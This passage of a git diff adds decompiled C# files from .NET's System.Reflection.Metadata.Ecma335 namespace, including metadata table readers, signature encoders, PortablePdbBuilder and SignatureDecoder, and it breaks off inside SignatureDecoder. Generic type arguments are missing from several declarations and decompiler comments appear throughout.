b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/NestedClassTableReader.cs new file mode 100644 index 0000000..053ede9 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/NestedClassTableReader.cs @@ -0,0 +1,59 @@ +using System.Reflection.Internal; + +namespace System.Reflection.Metadata.Ecma335; + +internal readonly struct NestedClassTableReader +{ + internal readonly int NumberOfRows; + + private readonly bool _IsTypeDefTableRowRefSizeSmall; + + private readonly int _NestedClassOffset; + + private readonly int _EnclosingClassOffset; + + internal readonly int RowSize; + + internal readonly MemoryBlock Block; + + internal NestedClassTableReader(int numberOfRows, bool declaredSorted, int typeDefTableRowRefSize, MemoryBlock containingBlock, int containingBlockOffset) + { + NumberOfRows = numberOfRows; + _IsTypeDefTableRowRefSizeSmall = typeDefTableRowRefSize == 2; + _NestedClassOffset = 0; + _EnclosingClassOffset = _NestedClassOffset + typeDefTableRowRefSize; + RowSize = _EnclosingClassOffset + typeDefTableRowRefSize; + Block = containingBlock.GetMemoryBlockAt(containingBlockOffset, RowSize * numberOfRows); + if (!declaredSorted && !CheckSorted()) + { + Throw.TableNotSorted(TableIndex.NestedClass); + } + } + + internal TypeDefinitionHandle GetNestedClass(int rowId) + { + int num = (rowId - 1) * RowSize; + return TypeDefinitionHandle.FromRowId(Block.PeekReference(num + _NestedClassOffset, _IsTypeDefTableRowRefSizeSmall)); + } + + internal TypeDefinitionHandle GetEnclosingClass(int rowId) + { + int num = (rowId - 1) * RowSize; + return TypeDefinitionHandle.FromRowId(Block.PeekReference(num + _EnclosingClassOffset, _IsTypeDefTableRowRefSizeSmall)); + } + + internal TypeDefinitionHandle FindEnclosingType(TypeDefinitionHandle nestedTypeDef) + { + int num = Block.BinarySearchReference(NumberOfRows, RowSize, _NestedClassOffset, (uint)nestedTypeDef.RowId, _IsTypeDefTableRowRefSizeSmall); + if (num == -1) + { + return default(TypeDefinitionHandle); + } + return TypeDefinitionHandle.FromRowId(Block.PeekReference(num * RowSize + _EnclosingClassOffset, _IsTypeDefTableRowRefSizeSmall)); + } + + private bool CheckSorted() + { + return Block.IsOrderedByReferenceAscending(RowSize, _NestedClassOffset, _IsTypeDefTableRowRefSizeSmall); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/ParamPtrTableReader.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/ParamPtrTableReader.cs new file mode 100644 index 0000000..2f07472 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/ParamPtrTableReader.cs @@ -0,0 +1,31 @@ +using System.Reflection.Internal; + +namespace System.Reflection.Metadata.Ecma335; + +internal readonly struct ParamPtrTableReader +{ + internal readonly int NumberOfRows; + + private readonly bool _IsParamTableRowRefSizeSmall; + + private readonly int _ParamOffset; + + internal readonly int RowSize; + + internal readonly MemoryBlock Block; + + internal ParamPtrTableReader(int numberOfRows, int paramTableRowRefSize, MemoryBlock containingBlock, int containingBlockOffset) + { + NumberOfRows = numberOfRows; + _IsParamTableRowRefSizeSmall = paramTableRowRefSize == 2; + _ParamOffset = 0; + RowSize = _ParamOffset + paramTableRowRefSize; + Block = containingBlock.GetMemoryBlockAt(containingBlockOffset, RowSize * numberOfRows); + } + + internal ParameterHandle GetParamFor(int rowId) + { + int num = (rowId - 1) * RowSize; + return ParameterHandle.FromRowId(Block.PeekReference(num + _ParamOffset, _IsParamTableRowRefSizeSmall)); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/ParamTableReader.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/ParamTableReader.cs new file mode 100644 index 0000000..e1d99e2 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/ParamTableReader.cs @@ -0,0 +1,49 @@ +using System.Reflection.Internal; + +namespace System.Reflection.Metadata.Ecma335; + +internal readonly struct ParamTableReader +{ + internal readonly int NumberOfRows; + + private readonly bool _IsStringHeapRefSizeSmall; + + private readonly int _FlagsOffset; + + private readonly int _SequenceOffset; + + private readonly int _NameOffset; + + internal readonly int RowSize; + + internal readonly MemoryBlock Block; + + internal ParamTableReader(int numberOfRows, int stringHeapRefSize, MemoryBlock containingBlock, int containingBlockOffset) + { + NumberOfRows = numberOfRows; + _IsStringHeapRefSizeSmall = stringHeapRefSize == 2; + _FlagsOffset = 0; + _SequenceOffset = _FlagsOffset + 2; + _NameOffset = _SequenceOffset + 2; + RowSize = _NameOffset + stringHeapRefSize; + Block = containingBlock.GetMemoryBlockAt(containingBlockOffset, RowSize * numberOfRows); + } + + internal ParameterAttributes GetFlags(ParameterHandle handle) + { + int num = (handle.RowId - 1) * RowSize; + return (ParameterAttributes)Block.PeekUInt16(num + _FlagsOffset); + } + + internal ushort GetSequence(ParameterHandle handle) + { + int num = (handle.RowId - 1) * RowSize; + return Block.PeekUInt16(num + _SequenceOffset); + } + + internal StringHandle GetName(ParameterHandle handle) + { + int num = (handle.RowId - 1) * RowSize; + return StringHandle.FromOffset(Block.PeekHeapReference(num + _NameOffset, _IsStringHeapRefSizeSmall)); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/ParameterTypeEncoder.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/ParameterTypeEncoder.cs new file mode 100644 index 0000000..66f8a81 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/ParameterTypeEncoder.cs @@ -0,0 +1,30 @@ +namespace System.Reflection.Metadata.Ecma335; + +public readonly struct ParameterTypeEncoder +{ + public BlobBuilder Builder { get; } + + public ParameterTypeEncoder(BlobBuilder builder) + { + Builder = builder; + } + + public CustomModifiersEncoder CustomModifiers() + { + return new CustomModifiersEncoder(Builder); + } + + public SignatureTypeEncoder Type(bool isByRef = false) + { + if (isByRef) + { + Builder.WriteByte(16); + } + return new SignatureTypeEncoder(Builder); + } + + public void TypedReference() + { + Builder.WriteByte(22); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/ParametersEncoder.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/ParametersEncoder.cs new file mode 100644 index 0000000..eb44892 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/ParametersEncoder.cs @@ -0,0 +1,29 @@ +namespace System.Reflection.Metadata.Ecma335; + +public readonly struct ParametersEncoder +{ + public BlobBuilder Builder { get; } + + public bool HasVarArgs { get; } + + public ParametersEncoder(BlobBuilder builder, bool hasVarArgs = false) + { + Builder = builder; + HasVarArgs = hasVarArgs; + } + + public ParameterTypeEncoder AddParameter() + { + return new ParameterTypeEncoder(Builder); + } + + public ParametersEncoder StartVarArgs() + { + if (!HasVarArgs) + { + Throw.SignatureNotVarArg(); + } + Builder.WriteByte(65); + return new ParametersEncoder(Builder); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/PermissionSetEncoder.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/PermissionSetEncoder.cs new file mode 100644 index 0000000..b6baec7 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/PermissionSetEncoder.cs @@ -0,0 +1,54 @@ +using System.Collections.Immutable; + +namespace System.Reflection.Metadata.Ecma335; + +public readonly struct PermissionSetEncoder +{ + public BlobBuilder Builder { get; } + + public PermissionSetEncoder(BlobBuilder builder) + { + Builder = builder; + } + + public PermissionSetEncoder AddPermission(string typeName, ImmutableArray encodedArguments) + { + //IL_005c: Unknown result type (might be due to invalid IL or missing references) + if (typeName == null) + { + Throw.ArgumentNull("typeName"); + } + if (encodedArguments.IsDefault) + { + Throw.ArgumentNull("encodedArguments"); + } + if (encodedArguments.Length > 536870911) + { + Throw.BlobTooLarge("encodedArguments"); + } + Builder.WriteSerializedString(typeName); + Builder.WriteCompressedInteger(encodedArguments.Length); + Builder.WriteBytes(encodedArguments); + return this; + } + + public PermissionSetEncoder AddPermission(string typeName, BlobBuilder encodedArguments) + { + if (typeName == null) + { + Throw.ArgumentNull("typeName"); + } + if (encodedArguments == null) + { + Throw.ArgumentNull("encodedArguments"); + } + if (encodedArguments.Count > 536870911) + { + Throw.BlobTooLarge("encodedArguments"); + } + Builder.WriteSerializedString(typeName); + Builder.WriteCompressedInteger(encodedArguments.Count); + encodedArguments.WriteContentTo(Builder); + return this; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/PortablePdbBuilder.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/PortablePdbBuilder.cs new file mode 100644 index 0000000..e69e93f --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/PortablePdbBuilder.cs @@ -0,0 +1,91 @@ +using System.Collections.Generic; +using System.Collections.Immutable; + +namespace System.Reflection.Metadata.Ecma335; + +public sealed class PortablePdbBuilder +{ + private Blob _pdbIdBlob; + + private readonly MethodDefinitionHandle _entryPoint; + + private readonly MetadataBuilder _builder; + + private readonly SerializedMetadata _serializedMetadata; + + public string MetadataVersion => "PDB v1.0"; + + public ushort FormatVersion => 256; + + public Func, BlobContentId> IdProvider { get; } + + public PortablePdbBuilder(MetadataBuilder tablesAndHeaps, ImmutableArray typeSystemRowCounts, MethodDefinitionHandle entryPoint, Func, BlobContentId>? idProvider = null) + { + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + if (tablesAndHeaps == null) + { + Throw.ArgumentNull("tablesAndHeaps"); + } + ValidateTypeSystemRowCounts(typeSystemRowCounts); + _builder = tablesAndHeaps; + _entryPoint = entryPoint; + _serializedMetadata = tablesAndHeaps.GetSerializedMetadata(typeSystemRowCounts, MetadataVersion.Length, isStandaloneDebugMetadata: true); + IdProvider = idProvider ?? BlobContentId.GetTimeBasedProvider(); + } + + private static void ValidateTypeSystemRowCounts(ImmutableArray typeSystemRowCounts) + { + if (typeSystemRowCounts.IsDefault) + { + Throw.ArgumentNull("typeSystemRowCounts"); + } + if (typeSystemRowCounts.Length != MetadataTokens.TableCount) + { + throw new ArgumentException(System.SR.Format(System.SR.ExpectedArrayOfSize, MetadataTokens.TableCount), "typeSystemRowCounts"); + } + for (int i = 0; i < typeSystemRowCounts.Length; i++) + { + if (typeSystemRowCounts[i] != 0) + { + if ((typeSystemRowCounts[i] & -16777216) != 0) + { + throw new ArgumentOutOfRangeException("typeSystemRowCounts", System.SR.Format(System.SR.RowCountOutOfRange, i)); + } + if (((1L << i) & 0x1FC93FB7FF57L) == 0L) + { + throw new ArgumentException(System.SR.Format(System.SR.RowCountMustBeZero, i), "typeSystemRowCounts"); + } + } + } + } + + private void SerializeStandalonePdbStream(BlobBuilder builder) + { + //IL_005d: Unknown result type (might be due to invalid IL or missing references) + int count = builder.Count; + _pdbIdBlob = builder.ReserveBytes(20); + builder.WriteInt32((!_entryPoint.IsNil) ? MetadataTokens.GetToken(_entryPoint) : 0); + builder.WriteUInt64(_serializedMetadata.Sizes.ExternalTablesMask); + MetadataWriterUtilities.SerializeRowCounts(builder, _serializedMetadata.Sizes.ExternalRowCounts); + int count2 = builder.Count; + } + + public BlobContentId Serialize(BlobBuilder builder) + { + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + if (builder == null) + { + Throw.ArgumentNull("builder"); + } + MetadataBuilder.SerializeMetadataHeader(builder, MetadataVersion, _serializedMetadata.Sizes); + SerializeStandalonePdbStream(builder); + _builder.SerializeMetadataTables(builder, _serializedMetadata.Sizes, _serializedMetadata.StringMap, 0, 0); + _builder.WriteHeapsTo(builder, _serializedMetadata.StringHeap); + BlobContentId result = IdProvider(builder.GetBlobs()); + BlobWriter blobWriter = new BlobWriter(_pdbIdBlob); + blobWriter.WriteGuid(result.Guid); + blobWriter.WriteUInt32(result.Stamp); + return result; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/PropertyMapTableReader.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/PropertyMapTableReader.cs new file mode 100644 index 0000000..0ef19e8 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/PropertyMapTableReader.cs @@ -0,0 +1,49 @@ +using System.Reflection.Internal; + +namespace System.Reflection.Metadata.Ecma335; + +internal readonly struct PropertyMapTableReader +{ + internal readonly int NumberOfRows; + + private readonly bool _IsTypeDefTableRowRefSizeSmall; + + private readonly bool _IsPropertyRefSizeSmall; + + private readonly int _ParentOffset; + + private readonly int _PropertyListOffset; + + internal readonly int RowSize; + + internal readonly MemoryBlock Block; + + internal PropertyMapTableReader(int numberOfRows, int typeDefTableRowRefSize, int propertyRefSize, MemoryBlock containingBlock, int containingBlockOffset) + { + NumberOfRows = numberOfRows; + _IsTypeDefTableRowRefSizeSmall = typeDefTableRowRefSize == 2; + _IsPropertyRefSizeSmall = propertyRefSize == 2; + _ParentOffset = 0; + _PropertyListOffset = _ParentOffset + typeDefTableRowRefSize; + RowSize = _PropertyListOffset + propertyRefSize; + Block = containingBlock.GetMemoryBlockAt(containingBlockOffset, RowSize * numberOfRows); + } + + internal int FindPropertyMapRowIdFor(TypeDefinitionHandle typeDef) + { + int num = Block.LinearSearchReference(RowSize, _ParentOffset, (uint)typeDef.RowId, _IsTypeDefTableRowRefSizeSmall); + return num + 1; + } + + internal TypeDefinitionHandle GetParentType(int rowId) + { + int num = (rowId - 1) * RowSize; + return TypeDefinitionHandle.FromRowId(Block.PeekReference(num + _ParentOffset, _IsTypeDefTableRowRefSizeSmall)); + } + + internal int GetPropertyListStartFor(int rowId) + { + int num = (rowId - 1) * RowSize; + return Block.PeekReference(num + _PropertyListOffset, _IsPropertyRefSizeSmall); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/PropertyPtrTableReader.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/PropertyPtrTableReader.cs new file mode 100644 index 0000000..aff12de --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/PropertyPtrTableReader.cs @@ -0,0 +1,31 @@ +using System.Reflection.Internal; + +namespace System.Reflection.Metadata.Ecma335; + +internal readonly struct PropertyPtrTableReader +{ + internal readonly int NumberOfRows; + + private readonly bool _IsPropertyTableRowRefSizeSmall; + + private readonly int _PropertyOffset; + + internal readonly int RowSize; + + internal readonly MemoryBlock Block; + + internal PropertyPtrTableReader(int numberOfRows, int propertyTableRowRefSize, MemoryBlock containingBlock, int containingBlockOffset) + { + NumberOfRows = numberOfRows; + _IsPropertyTableRowRefSizeSmall = propertyTableRowRefSize == 2; + _PropertyOffset = 0; + RowSize = _PropertyOffset + propertyTableRowRefSize; + Block = containingBlock.GetMemoryBlockAt(containingBlockOffset, RowSize * numberOfRows); + } + + internal PropertyDefinitionHandle GetPropertyFor(int rowId) + { + int num = (rowId - 1) * RowSize; + return PropertyDefinitionHandle.FromRowId(Block.PeekReference(num + _PropertyOffset, _IsPropertyTableRowRefSizeSmall)); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/PropertyTableReader.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/PropertyTableReader.cs new file mode 100644 index 0000000..c8e2a83 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/PropertyTableReader.cs @@ -0,0 +1,52 @@ +using System.Reflection.Internal; + +namespace System.Reflection.Metadata.Ecma335; + +internal readonly struct PropertyTableReader +{ + internal readonly int NumberOfRows; + + private readonly bool _IsStringHeapRefSizeSmall; + + private readonly bool _IsBlobHeapRefSizeSmall; + + private readonly int _FlagsOffset; + + private readonly int _NameOffset; + + private readonly int _SignatureOffset; + + internal readonly int RowSize; + + internal readonly MemoryBlock Block; + + internal PropertyTableReader(int numberOfRows, int stringHeapRefSize, int blobHeapRefSize, MemoryBlock containingBlock, int containingBlockOffset) + { + NumberOfRows = numberOfRows; + _IsStringHeapRefSizeSmall = stringHeapRefSize == 2; + _IsBlobHeapRefSizeSmall = blobHeapRefSize == 2; + _FlagsOffset = 0; + _NameOffset = _FlagsOffset + 2; + _SignatureOffset = _NameOffset + stringHeapRefSize; + RowSize = _SignatureOffset + blobHeapRefSize; + Block = containingBlock.GetMemoryBlockAt(containingBlockOffset, RowSize * numberOfRows); + } + + internal PropertyAttributes GetFlags(PropertyDefinitionHandle handle) + { + int num = (handle.RowId - 1) * RowSize; + return (PropertyAttributes)Block.PeekUInt16(num + _FlagsOffset); + } + + internal StringHandle GetName(PropertyDefinitionHandle handle) + { + int num = (handle.RowId - 1) * RowSize; + return StringHandle.FromOffset(Block.PeekHeapReference(num + _NameOffset, _IsStringHeapRefSizeSmall)); + } + + internal BlobHandle GetSignature(PropertyDefinitionHandle handle) + { + int num = (handle.RowId - 1) * RowSize; + return BlobHandle.FromOffset(Block.PeekHeapReference(num + _SignatureOffset, _IsBlobHeapRefSizeSmall)); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/ResolutionScopeTag.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/ResolutionScopeTag.cs new file mode 100644 index 0000000..766cd57 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/ResolutionScopeTag.cs @@ -0,0 +1,36 @@ +using System.Runtime.CompilerServices; + +namespace System.Reflection.Metadata.Ecma335; + +internal static class ResolutionScopeTag +{ + internal const int NumberOfBits = 2; + + internal const int LargeRowSize = 16384; + + internal const uint Module = 0u; + + internal const uint ModuleRef = 1u; + + internal const uint AssemblyRef = 2u; + + internal const uint TypeRef = 3u; + + internal const uint TagMask = 3u; + + internal const uint TagToTokenTypeByteVector = 19077632u; + + internal const TableMask TablesReferenced = TableMask.Module | TableMask.TypeRef | TableMask.ModuleRef | TableMask.AssemblyRef; + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + internal static EntityHandle ConvertToHandle(uint resolutionScope) + { + uint num = (uint)(19077632 >>> (int)((resolutionScope & 3) << 3) << 24); + uint num2 = resolutionScope >> 2; + if ((num2 & 0xFF000000u) != 0) + { + Throw.InvalidCodedIndex(); + } + return new EntityHandle(num | num2); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/ReturnTypeEncoder.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/ReturnTypeEncoder.cs new file mode 100644 index 0000000..982dfc5 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/ReturnTypeEncoder.cs @@ -0,0 +1,35 @@ +namespace System.Reflection.Metadata.Ecma335; + +public readonly struct ReturnTypeEncoder +{ + public BlobBuilder Builder { get; } + + public ReturnTypeEncoder(BlobBuilder builder) + { + Builder = builder; + } + + public CustomModifiersEncoder CustomModifiers() + { + return new CustomModifiersEncoder(Builder); + } + + public SignatureTypeEncoder Type(bool isByRef = false) + { + if (isByRef) + { + Builder.WriteByte(16); + } + return new SignatureTypeEncoder(Builder); + } + + public void TypedReference() + { + Builder.WriteByte(22); + } + + public void Void() + { + Builder.WriteByte(1); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/ScalarEncoder.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/ScalarEncoder.cs new file mode 100644 index 0000000..f1ffa2c --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/ScalarEncoder.cs @@ -0,0 +1,43 @@ +namespace System.Reflection.Metadata.Ecma335; + +public readonly struct ScalarEncoder +{ + public BlobBuilder Builder { get; } + + public ScalarEncoder(BlobBuilder builder) + { + Builder = builder; + } + + public void NullArray() + { + Builder.WriteInt32(-1); + } + + public void Constant(object? value) + { + string text = value as string; + if (text != null || value == null) + { + String(text); + } + else + { + Builder.WriteConstant(value); + } + } + + public void SystemType(string? serializedTypeName) + { + if (serializedTypeName != null && serializedTypeName.Length == 0) + { + Throw.ArgumentEmptyString("serializedTypeName"); + } + String(serializedTypeName); + } + + private void String(string value) + { + Builder.WriteSerializedString(value); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/SerializedMetadata.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/SerializedMetadata.cs new file mode 100644 index 0000000..0fbe7ed --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/SerializedMetadata.cs @@ -0,0 +1,21 @@ +using System.Collections.Immutable; + +namespace System.Reflection.Metadata.Ecma335; + +internal sealed class SerializedMetadata +{ + internal readonly ImmutableArray StringMap; + + internal readonly BlobBuilder StringHeap; + + internal readonly MetadataSizes Sizes; + + public SerializedMetadata(MetadataSizes sizes, BlobBuilder stringHeap, ImmutableArray stringMap) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + Sizes = sizes; + StringHeap = stringHeap; + StringMap = stringMap; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/SignatureDecoder.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/SignatureDecoder.cs new file mode 100644 index 0000000..381ffae --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/SignatureDecoder.cs @@ -0,0 +1,283 @@ +using System.Collections.Immutable; + +namespace System.Reflection.Metadata.Ecma335; + +public readonly struct SignatureDecoder +{ + private readonly ISignatureTypeProvider _provider; + + private readonly MetadataReader _metadataReaderOpt; + + private readonly TGenericContext _genericContext; + + public SignatureDecoder(ISignatureTypeProvider provider, MetadataReader metadataReader, TGenericContext genericContext) + { + if (provider == null) + { + Throw.ArgumentNull("provider"); + } + _metadataReaderOpt = metadataReader; + _provider = provider; + _genericContext = genericContext; + } + + public TType DecodeType(ref BlobReader blobReader, bool allowTypeSpecifications = false) + { + return DecodeType(ref blobReader, allowTypeSpecifications, blobReader.ReadCompressedInteger()); + } + + private TType DecodeType(ref BlobReader blobReader, bool allowTypeSpecifications, int typeCode) + { + switch (typeCode) + { + case 1: + case 2: + case 3: + case 4: + case 5: + case 6: + case 7: + case 8: + case 9: + case 10: + case 11: + case 12: + case 13: + case 14: + case 22: + case 24: + case 25: + case 28: + return _provider.GetPrimitiveType((PrimitiveTypeCode)typeCode); + case 15: + { + TType elementType = DecodeType(ref blobReader); + return _provider.GetPointerType(elementType); + } + case 16: + { + TType elementType = DecodeType(ref blobReader); + return _provider.GetByReferenceType(elementType); + } + case 69: + { + TType elementType = DecodeType(ref blobReader); + return _provider.GetPinnedType(elementType); + } + case 29: + { + TType elementType = DecodeType(ref blobReader); + return _provider.GetSZArrayType(elementType); + } + case 27: + { + MethodSignature signature = DecodeMethodSignature(ref blobReader); + return _provider.GetFunctionPointerType(signature); + } + case 20: + return DecodeArrayType(ref blobReader); + case 31: + return DecodeModifiedType(ref blobReader, isRequired: true); + case 32: + return DecodeModifiedType(ref blobReader, isRequired: false); + case 21: + return DecodeGenericTypeInstance(ref blobReader); + case 19: + { + int index = blobReader.ReadCompressedInteger(); + return _provider.GetGenericTypeParameter(_genericContext, index); + } + case 30: + { + int index = blobReader.ReadCompressedInteger(); + return _provider.GetGenericMethodParameter(_genericContext, index); + } + case 17: + case 18: + return DecodeTypeHandle(ref blobReader, (byte)typeCode, allowTypeSpecifications); + default: + throw new BadImageFormatException(System.SR.Format(System.SR.UnexpectedSignatureTypeCode, typeCode)); + } + } + + private ImmutableArray DecodeTypeSequence(ref BlobReader blobReader) + { + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + int num = blobReader.ReadCompressedInteger(); + if (num == 0) + { + throw new BadImageFormatException(System.SR.SignatureTypeSequenceMustHaveAtLeastOneElement); + } + Builder val = ImmutableArray.CreateBuilder(num); + for (int i = 0; i < num; i++) + { + val.Add(DecodeType(ref blobReader)); + } + return val.MoveToImmutable(); + } + + public MethodSignature DecodeMethodSignature(ref BlobReader blobReader) + { + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + //IL_00a3: Unknown result type (might be due to invalid IL or missing references) + //IL_0097: Unknown result type (might be due to invalid IL or missing references) + //IL_009c: Unknown result type (might be due to invalid IL or missing references) + SignatureHeader header = blobReader.ReadSignatureHeader(); + CheckMethodOrPropertyHeader(header); + int genericParameterCount = 0; + if (header.IsGeneric) + { + genericParameterCount = blobReader.ReadCompressedInteger(); + } + int num = blobReader.ReadCompressedInteger(); + TType returnType = DecodeType(ref blobReader); + int requiredParameterCount; + ImmutableArray parameterTypes; + if (num == 0) + { + requiredParameterCount = 0; + parameterTypes = ImmutableArray.Empty; + } + else + { + Builder val = ImmutableArray.CreateBuilder(num); + int i; + for (i = 0; i < num; i++) + { + int num2 = blobReader.ReadCompressedInteger(); + if (num2 == 65) + { + break; + } + val.Add(DecodeType(ref blobReader, allowTypeSpecifications: false, num2)); + } + requiredParameterCount = i; + for (; i < num; i++) + { + val.Add(DecodeType(ref blobReader)); + } + parameterTypes = val.MoveToImmutable(); + } + return new MethodSignature(header, returnType, requiredParameterCount, genericParameterCount, parameterTypes); + } + + public ImmutableArray DecodeMethodSpecificationSignature(ref BlobReader blobReader) + { + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + SignatureHeader header = blobReader.ReadSignatureHeader(); + CheckHeader(header, SignatureKind.MethodSpecification); + return DecodeTypeSequence(ref blobReader); + } + + public ImmutableArray DecodeLocalSignature(ref BlobReader blobReader) + { + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + SignatureHeader header = blobReader.ReadSignatureHeader(); + CheckHeader(header, SignatureKind.LocalVariables); + return DecodeTypeSequence(ref blobReader); + } + + public TType DecodeFieldSignature(ref BlobReader blobReader) + { + SignatureHeader header = blobReader.ReadSignatureHeader(); + CheckHeader(header, SignatureKind.Field); + return DecodeType(ref blobReader); + } + + private TType DecodeArrayType(ref BlobReader blobReader) + { + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0097: Unknown result type (might be due to invalid IL or missing references) + //IL_0098: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_008e: Unknown result type (might be due to invalid IL or missing references) + //IL_0093: Unknown result type (might be due to invalid IL or missing references) + TType elementType = DecodeType(ref blobReader); + int rank = blobReader.ReadCompressedInteger(); + ImmutableArray sizes = ImmutableArray.Empty; + ImmutableArray lowerBounds = ImmutableArray.Empty; + int num = blobReader.ReadCompressedInteger(); + if (num > 0) + { + Builder val = ImmutableArray.CreateBuilder(num); + for (int i = 0; i < num; i++) + { + val.Add(blobReader.ReadCompressedInteger()); + } + sizes = val.MoveToImmutable(); + } + int num2 = blobReader.ReadCompressedInteger(); + if (num2 > 0) + { + Builder val2 = ImmutableArray.CreateBuilder(num2); + for (int j = 0; j < num2; j++) + { + val2.Add(blobReader.ReadCompressedSignedInteger()); + } + lowerBounds = val2.MoveToImmutable(); + } + ArrayShape shape = new ArrayShape(rank, sizes, lowerBounds); + return _provider.GetArrayType(elementType, shape); + } + + private TType DecodeGenericTypeInstance(ref BlobReader blobReader) + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + TType genericType = DecodeType(ref blobReader); + ImmutableArray typeArguments = DecodeTypeSequence(ref blobReader); + return _provider.GetGenericInstantiation(genericType, typeArguments); + } + + private TType DecodeModifiedType(ref BlobReader blobReader, bool isRequired) + { + TType modifier = DecodeTypeHandle(ref blobReader, 0, allowTypeSpecifications: true); + TType unmodifiedType = DecodeType(ref blobReader); + return _provider.GetModifiedType(modifier, unmodifiedType, isRequired); + } + + private TType DecodeTypeHandle(ref BlobReader blobReader, byte rawTypeKind, bool allowTypeSpecifications) + { + EntityHandle entityHandle = blobReader.ReadTypeHandle(); + if (!entityHandle.IsNil) + { + switch (entityHandle.Kind) + { + case HandleKind.TypeDefinition: + return _provider.GetTypeFromDefinition(_metadataReaderOpt, (TypeDefinitionHandle)entityHandle, rawTypeKind); + case HandleKind.TypeReference: + return _provider.GetTypeFromReference(_metadataReaderOpt, (TypeReferenceHandle)entityHandle, rawTypeKind); + case HandleKind.TypeSpecification: + if (!allowTypeSpecifications) + { + throw new BadImageFormatException(System.SR.NotTypeDefOrRefHandle); + } + return _provider.GetTypeFromSpecification(_metadataReaderOpt, _genericContext, (TypeSpecificationHandle)entityHandle, rawTypeKind); + } + } + throw new BadImageFormatException(System.SR.NotTypeDefOrRefOrSpecHandle); + } + + private static void CheckHeader(SignatureHeader header, SignatureKind expectedKind) + { + if (header.Kind != expectedKind) + { + throw new BadImageFormatException(System.SR.Format(System.SR.UnexpectedSignatureHeader, expectedKind, header.Kind, header.RawValue)); + } + } + + private static void CheckMethodOrPropertyHeader(SignatureHeader header) + { + 